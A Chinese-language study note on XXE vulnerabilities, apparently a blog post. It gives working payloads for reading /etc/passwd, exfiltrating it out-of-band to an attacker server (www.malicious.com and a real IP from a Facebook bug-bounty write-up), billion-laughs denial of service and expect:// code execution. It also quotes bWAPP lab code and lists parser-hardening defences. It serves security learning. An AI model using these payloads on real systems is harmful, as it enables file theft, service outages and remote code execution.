XXE漏洞筆記

外部實(shí)體引用

DTD文件用來(lái)定義XML文件遵循的規(guī)則(格式),而!ENTITY就可實(shí)現(xiàn)如同占位符的作用,例如:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

此處&xee所要顯示的內(nèi)容即由!ENTITY xee標(biāo)簽決定,在有回顯的情況下,該服務(wù)器的/etc/passwd文件就會(huì)被泄露。

分類

1. 簡(jiǎn)單情況,有回顯

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

實(shí)例:BeeBox中的XXE LOW

BeeBox XXE

抓包可見(jiàn)修改secret的方式是POST一個(gè)xml

<reset><login>gambro</login><secret>Any bugs?</secret></reset>

而回顯的內(nèi)容中包括用戶名,由<login>決定,
可以利用它泄露出/etc/passwd

修改為

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

白盒:xxe-2.php

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

    ini_set("display_errors",1);

    $xml = simplexml_load_string($body);

    // Debugging
    // print_r($xml);

    $login = $xml->login;
    $secret = $xml->secret;
...
       $message = $login . "'s secret has been reset!";

simplexml_load_string()函數(shù)直接將xml解析,login值不經(jīng)過(guò)濾直接接在響應(yīng)消息前。

其他利用:

  1. 端口掃描


    開(kāi)放端口

    非開(kāi)放端口

    使用Intruder可以掃描端口

2. 無(wú)回顯

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

www.malicious.com為攻擊者搭建的惡意服務(wù)器
注:

  • 參數(shù)實(shí)體定義以%作為開(kāi)頭,引用也以%開(kāi)頭,以;結(jié)尾,定義和引用都在DTD內(nèi)部。
  • 一般實(shí)體的定義無(wú)%開(kāi)頭,引用以&開(kāi)頭,以;結(jié)尾,定義在DTD,引用在XML。

%xxe讀取了/etc/passwd,并將內(nèi)容附在url: www.malicious.com/后作為一個(gè)參數(shù)
然后向服務(wù)端發(fā)送GET請(qǐng)求,其中包含敏感文件內(nèi)容

實(shí)例:FACEBOOK OOB XXE

Facebook招聘頁(yè)一處.docx文件上傳被發(fā)現(xiàn)可能存在xxe
注:docx是基于XML的一種壓縮文件格式,類似的還有xlsx, pptx
攻擊者創(chuàng)建了一個(gè)docx文件,并用7zip打開(kāi),在其中一個(gè)XML中插入payload:

<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>

在解析的時(shí)候,如果受害者開(kāi)啟了外部實(shí)體,XML 解析器會(huì)調(diào)用遠(yuǎn)程主機(jī)。在收到請(qǐng)求調(diào)用之后,遠(yuǎn)程服務(wù)器會(huì)發(fā)送回提前部署好的DTD 文件,像這樣:

<!ENTITY % send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>

引入遠(yuǎn)程dtd文件后,根據(jù)上面的payload,/etc/passwd文件內(nèi)容被附于url
后通過(guò)GET請(qǐng)求發(fā)送至攻擊者服務(wù)器。
漏洞的發(fā)現(xiàn)者M(jìn)ohamed 使用 Python 和SimpleHTTPServer開(kāi)啟了一臺(tái)本地服務(wù)器,等待一會(huì)后,接收到了以下信息:



SimpleHTTPServer收到了請(qǐng)求/ext.dtd的request,隨之受害服務(wù)器解析了dtd文件并發(fā)送了/FACEBOOK-HACKED? GET請(qǐng)求,遺憾的是并沒(méi)有和之前預(yù)想的附上/etc/passwd的文件內(nèi)容。原因可能是沒(méi)有權(quán)限

而按照本節(jié)最開(kāi)始的示例,Mohamed本可以不用請(qǐng)求外部dtd

<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">

而直接讀取文件并回傳至自己的服務(wù)器
但這一步的價(jià)值在于,如果成功請(qǐng)求了遠(yuǎn)程dtd文件,解析后再發(fā)出請(qǐng)求,即可證明XXE漏洞存在,而讀取/etc/passwd不過(guò)是XXE利用方式的一種

實(shí)例: Wikiloc XXE

網(wǎng)站提供了一種.gpx文件的上傳處
攻擊者遵循了.gpx的格式并插入dtd


修改后的.gpx

外部dtd

其他利用

1. DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY %lol2 "%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;">
<!ENTITY %lol3 "%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;">
<!ENTITY %lol4 "%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;">
<!ENTITY %lol5 "%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;">
<!ENTITY %lol6 "%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;">
<!ENTITY %lol7 "%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;">
<!ENTITY %lol8 "%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;">
<!ENTITY lol9 "%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;">
]>
<lolz>&lol9;</lolz>

遞歸,10^8個(gè)“l(fā)ol”

2. RCE

這種情況很少發(fā)生,但有些情況下攻擊者能夠通過(guò)XXE執(zhí)行代碼,這主要是由于配置不當(dāng)/開(kāi)發(fā)內(nèi)部應(yīng)用導(dǎo)致的。如果我們足夠幸運(yùn),并且PHP expect模塊被加載到了易受攻擊的系統(tǒng)或處理XML的內(nèi)部應(yīng)用程序上,那么我們就可以執(zhí)行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

響應(yīng):

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

(待補(bǔ)充)

防御

BeeBox中高級(jí)針對(duì)XXE的防御策略:

// Disables XML external entities. Doesn't work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    
    // Debugging
    // print_r($xml);

    $login = $_SESSION["login"];
    $secret = $xml->secret;

    if($secret)
    {

        $secret = mysqli_real_escape_string($link, $secret);

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

        // Debugging
        // echo $sql;      

        $recordset = $link->query($sql);

        if(!$recordset)
        {

            die("Connect Error: " . $link->error);

        }

        $message = $login . "'s secret has been reset!";

    }

    else
    {

        $message = "An error occured!"; 

    }

對(duì)于老版本的PHP,不能使用libxml_disable_entity_loader(true);禁用外部實(shí)體引用,這里。login現(xiàn)在是直接在SEESION里面取,不再利用xml進(jìn)行提交。并且使用了mysqli_real_escape_string()函數(shù)對(duì)$secret進(jìn)行了特殊字符轉(zhuǎn)義。

禁用外部實(shí)體引用:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

過(guò)濾關(guān)鍵詞,不允許XML中有自定義DTD

Reference

Web Hacking 101
XXE漏洞利用技巧:從XML到遠(yuǎn)程代碼執(zhí)行
[Web安全] XXE漏洞攻防學(xué)習(xí)(中)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容